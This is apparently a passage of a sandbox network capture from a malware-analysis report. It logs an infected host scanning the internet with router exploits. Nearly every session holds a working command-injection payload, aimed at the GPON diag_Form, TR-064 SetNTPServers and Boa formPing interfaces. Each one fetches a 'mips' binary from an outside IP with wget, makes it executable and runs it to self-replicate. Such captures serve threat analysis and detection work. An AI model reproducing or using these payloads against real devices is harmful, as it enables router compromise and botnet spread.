Apr 15, 2024 08:52:15.790972948 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.007097006 CEST	129	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon, 15 Apr 2024 06:52:15 GMT Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 15, 2024 08:52:16.007391930 CEST	157	IN	HTTP/1.1 400 Bad Request Content-Length: 65 Content-Type: application/json Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 43 6c 69 65 6e 74 20 45 72 72 6f 72 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 30 7d Data Ascii: {"error":"Bad Request","message":"Client Error","statusCode":400}

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	37568	86.189.160.241	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.859416962 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	48228	115.64.234.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.887453079 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:16.224267960 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	37592	104.89.94.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.887474060 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.193627119 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:52:16 GMT Date: Mon, 15 Apr 2024 06:52:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 36 63 30 37 61 35 63 26 23 34 36 3b 31 37 31 33 31 36 33 39 33 36 26 23 34 36 3b 36 65 35 62 63 36 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 37 36 63 30 37 61 35 63 26 23 34 36 3b 31 37 31 33 31 36 33 39 33 36 26 23 34 36 3b 36 65 35 62 63 36 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.76c07a5c.1713163936.6e5bc64<P>https://errors.edgesuite.net/9.76c07a5c.1713163936.6e5bc64</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	35680	206.119.7.49	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.891824961 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.194200993 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	59908	46.101.151.120	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.892221928 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.196791887 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	43374	23.50.154.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.897763014 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.208445072 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:52:16 GMT Date: Mon, 15 Apr 2024 06:52:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 64 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 33 36 26 23 34 36 3b 36 31 65 37 30 33 33 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 64 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 33 36 26 23 34 36 3b 36 31 65 37 30 33 33 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4d7e19b8.1713163936.61e7033a<P>https://errors.edgesuite.net/9.4d7e19b8.1713163936.61e7033a</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	51862	185.244.240.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:15.955415964 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:16.294313908 CEST	372	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=0 location: https://undefined:443/GponForm/diag_Form?images/ Date: Mon, 15 Apr 2024 06:52:16 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	46644	61.79.31.242	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.150966883 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	49026	112.181.57.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.155805111 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	37612	86.189.160.241	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.171363115 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	48272	115.64.234.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.222718954 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:16.560065985 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	49038	112.181.57.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.456908941 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	40388	125.139.105.162	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.749160051 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	59992	86.135.67.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:16.765083075 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:17.073060989 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	40394	125.139.105.162	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:17.034765005 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	60000	86.135.67.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:17.062560081 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:17.360606909 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	53710	62.68.198.19	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:17.371488094 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:19.108516932 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	38044	62.29.98.138	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:17.371520042 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:21.600476027 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:27.744484901 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:39.776504993 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
